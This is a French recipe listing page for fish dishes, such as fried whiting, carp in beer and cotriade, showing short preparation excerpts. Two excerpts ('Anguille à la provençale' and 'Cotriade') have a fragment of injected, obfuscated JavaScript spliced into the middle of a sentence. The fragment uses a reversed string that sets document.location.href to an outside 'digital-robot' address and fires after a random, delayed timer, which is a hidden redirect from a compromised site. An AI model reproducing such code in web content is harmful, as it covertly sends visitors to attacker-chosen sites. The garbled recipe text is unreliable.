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Catégories : Abats , Boissons , Bouillons , Confiseries , Desserts , Fruits , Légumes

Recipes From Cuisine: Poissons

Merlans frits

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Videz, rincez, séchez les merlans. Fendez les sur le dos et retirer l’arrête centrale. Salez ...

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Filet de maquereau au vin blanc

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Rincez, séchez les filets de maquereau, les déposer  dans un plat à gratin. Salez, recouvrir ...

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Carpe à la bière

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Rincez, séchez la carpe avec un linge, enlevez les laitances du poisson. Salez, poivrez, l’intérieur, ...

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Harengs aux pommes

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Dans une poêle, déposez les harengs, versez un peu d’eau juste pour les couvrir. Portez ...

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Thon à la crème d’asperges

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Avec  un économe, pelez les asperges. Ôtez les têtes.  Dans une casserole faites chauffer la ...

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Chaudrée de la mer

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Videz, rincez, essuyez les poissons, hachez le persil, les échalotes, l’ail.

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Anguille à la provençale

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Pelez et coupez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates en petits dés. Écrasez ...

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Brandade de morue

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Pendant toute une nuit faites dessaler la morue, bien la rincer, dans un grand récipient ...

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Filet de cabillaud à la noix de coco

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Faites tremper les filets de cabillaud dans le lait de coco pendant 15 minutes. Dans ...

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Cotriade

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Préparez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous ces poissons, les rincer, les couper en ...

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